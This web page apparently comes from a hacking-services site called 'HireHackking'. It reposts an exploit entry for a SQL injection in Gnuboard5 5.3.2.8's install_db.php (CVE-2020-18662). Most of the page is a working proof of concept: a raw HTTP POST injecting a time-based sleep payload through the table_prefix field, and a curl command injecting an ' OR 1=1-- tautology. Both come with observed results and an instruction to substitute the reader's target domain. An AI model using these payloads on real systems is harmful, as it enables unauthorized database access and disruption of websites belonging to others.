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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Gnuboard5 5.3.2.8 - SQL Injection
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/gnuboard/gnuboard5
# Software Link: https://github.com/gnuboard/gnuboard5
# Version: 5.3.2.8
# Tested on: Ubuntu Windows
# CVE : CVE-2020-18662

PoC: 
1)
POST /install/install_db.php HTTP/1.1
Host: gnuboard
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

mysql_user=root&mysql_pass=password&mysql_db=gnuboard&table_prefix=12`; select sleep(5)#
result: sleep 5s.
2)
curl -X POST http://gnuboard/install/install_db.php \
  -d "mysql_user=root" \
  -d "mysql_pass=password" \
  -d "mysql_db=gnuboard_db" \
  -d "table_prefix=' OR 1=1--"
result: The application does not work.

[Replace Your Domain Name and Replace Database Information]